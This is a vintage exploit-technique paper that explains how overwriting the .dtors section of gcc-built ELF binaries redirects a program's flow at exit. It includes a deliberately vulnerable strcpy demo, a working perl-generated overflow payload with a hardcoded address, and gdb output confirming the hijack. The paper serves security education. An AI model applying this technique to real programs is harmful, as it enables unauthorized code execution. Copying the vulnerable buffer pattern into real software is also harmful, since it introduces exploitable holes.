overwriting the .dtors section

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Overwriting the .dtors section.

by Juan M. Bello Rivas <rwxrwxrwx@synnergy.net>

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Introduction

------------

This paper presents a concise explanation of a technique to gain

control of a C program's flow of execution given that it has been compiled with

gcc. This text assumes that the reader is familiar with general overflow

techniques and the ELF format.

Thanks

------

ga and dvorak for interesting discussion.

Overview

--------

gcc provides several types of attributes for functions, particularly

there are two which will be of special interest for us: constructors and

destructors. These attributes should be specified by the programmer in a way

similar to this:

static void start(void) __attribute__ ((constructor));

static void stop(void) __attribute__ ((destructor));

Functions with the `constructor' attribute will be executed before

main() while those declared with the `destructor' attribute will be executed

just _after_ main() exits.

In the produced ELF executable image this will be represented as two

different sections: .ctors and .dtors. Both of them will have the following

layout:

0xffffffff <function address> <another function address> ... 0x00000000

NOTE: If you want to really know everything about this I recommend you

to launch your favourite editor on gcc-2.95.2/gcc/collect2.c

From this point there are several things to take into account:

* .ctors and .dtors will be mapped in memory in the process' address

space and will be writable by default.

* These sections won't go away after a normal strip(1) of the binary.

* We don't care whether the programmer has set up any function as

either a constructor or destructor because both sections will appear anyway and

be mapped in memory.

The gory details

----------------

It's perhaps time to demonstrate the previous statements. There we

go...

$ cat > yopta.c <<EOF

#include <stdio.h>

#include <stdlib.h>

static void start(void) __attribute__ ((constructor));

static void stop(void) __attribute__ ((destructor));

int

main(int argc, char *argv[])

{

printf("start == %p\n", start);

printf("stop == %p\n", stop);

exit(EXIT_SUCCESS);

}

void

start(void)

{

printf("hello world!\n");

}

void

stop(void)

{

printf("goodbye world!\n");

}

EOF

$ gcc -o yopta yopta.c

$ ./yopta

hello world!

start == 0x8048480

stop == 0x80484a0

goodbye world!

$ objdump -h yopta

14 .data 0000000c 08049558 08049558 00000558 2**2

CONTENTS, ALLOC, LOAD, DATA

15 .eh_frame 00000004 08049564 08049564 00000564 2**2

CONTENTS, ALLOC, LOAD, DATA

16 .ctors 0000000c 08049568 08049568 00000568 2**2

CONTENTS, ALLOC, LOAD, DATA

17 .dtors 0000000c 08049574 08049574 00000574 2**2

CONTENTS, ALLOC, LOAD, DATA

18 .got 00000024 08049580 08049580 00000580 2**2

CONTENTS, ALLOC, LOAD, DATA

$ objdump -s -j .dtors yopta

yopta: file format elf32-i386

Contents of section .dtors:

8049574 ffffffff a0840408 00000000 ............

As we can see the address of stop() is stored in the .dtors as it was

previously said. Our aim here is the exploitation of a program, thus we will

forget from now on about .ctors since we'll not be able to do anything useful

with it.

We'll try now with a normal program without these function attributes:

$ cat > bleh.c <<EOF

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

static void bleh(void);

int

main(int argc, char *argv[])

{

static u_char buf[] = "bleh";

if (argc < 2)

exit(EXIT_FAILURE);

strcpy(buf, argv[1]);

exit(EXIT_SUCCESS);

}

void

bleh(void)

{

printf("goffio!\n");

}

EOF

$ gcc -o bleh bleh.c

$ ./bleh

$ objdump -h bleh

17 .dtors 00000008 0804955c 0804955c 0000055c 2**2

CONTENTS, ALLOC, LOAD, DATA

Good! .dtors is still there even when there are no functions flagged as

destructors. Now we take a look at its contents:

$ objdump -s -j .dtors bleh

bleh: file format elf32-i386

Contents of section .dtors:

804955c ffffffff 00000000 ........

Only the head and tail tags are present but there are no function

addresses specified.

Maybe it seems odd to see buf declared as both static and initialized.

By doing so we make it be stored in the .data section which is very near to

our target .dtors section. Thus we'll be able to reach our objective easily by

overflowing buf. This is not the only avenue we can take to write into that

place, virtually every method you can come up with to write into the process'

address space will be useful (format string attack, direct strcpy by returning

into libc, corrupting a malloc chunk, ...) The one used here was chosen due to

its simplicity.

The goal now is to be able to execute the code present in bleh() (which

never gets called under normal conditions) by making an entry in .dtors that

points to it. We must leave the head tag alone and overwrite the tail tag (the

0x00000000) to achieve it.

$ objdump --syms bleh | egrep 'text.*bleh'

080484b0 l F .text 0000001a bleh

So as we can see bleh() is placed at 0x080484b0. It's time for an

exploit.

$ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'`

goffio!

Segmentation fault (core dumped)

The test worked as we expected, but perhaps it is better to double

check and see the corpse of our process and what was changed.

$ gdb bleh core

GNU gdb 5.0

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAA°

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x40013ed8 in ?? ()

(gdb) bt

#0 0x40013ed8 in ?? ()

#1 0x8048521 in _fini ()

#2 0x4003c25a in exit (status=0) at exit.c:57

#3 0x80484a3 in main ()

#4 0x400339cb in __libc_start_main (main=0x8048460 <main>, argc=2, argv=0xbfff

f8a4, init=0x80482e0 <_init>,

fini=0x804850c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff8

9c) at ../sysdeps/generic/libc-start.c:92

(gdb) maintenance info sections

Exec file:

`/home/rwx/tmp/bleh', file type elf32-i386.

0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS

0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA HAS_CONTENTS

0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA HAS_CONTENTS

0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA HAS_CONTENTS

0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS

Now we want to examine what was overwritten.

(gdb) x/x 0x08049550

0x8049550 <force_to_data>: 0x41414141

These are the contents of the .eh_frame (used by gcc to store the

exception handler pointers for languages that support them).

(gdb) x/x 0x08049554

0x8049554 <__CTOR_LIST__>: 0x41414141

(gdb) x/8x 0x0804955c

0x804955c <__DTOR_LIST__>: 0x41414141 0x080484b0 0x08049500

0x40013ed0

0x804956c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fb550 0x08048

336 0x400338cc

(gdb)

As we can see, we didn't take any care as to place the 0xfffffff head

tag in it's appropriate place and it turned out not to be needed at all, just

by putting bleh()'s address into the right position we made the code be

executed. We can also notice that the process segfaults after _fini(), this is

obviously because it keeps searching for the non-existent tail tag (0x00000000)

and jumping into every address just after ours (those found in the Global

Offset Table).

Conclusion

----------

An alternative way to launch an injected piece of shellcode has been

shown. The technique provides some advantages:

* If the target binary is readable by the attacker it will be very

easy to determine the exact position where we want to write and point to our

shellcode, just by analyzing the ELF image and determining .dtors position will

be enough. In this circumstance the reliability of the exploit is usually

drastically increased.

* It is simpler than other techniques like overwriting an entry in the

Global Offset Table.

...and disadvantages:

* Requires that the victim program has been compiled and linked with

GNU tools.

* Under some circumstances it may be difficult to find a place to store

the shellcode until the program exit()s.

Have fun! :)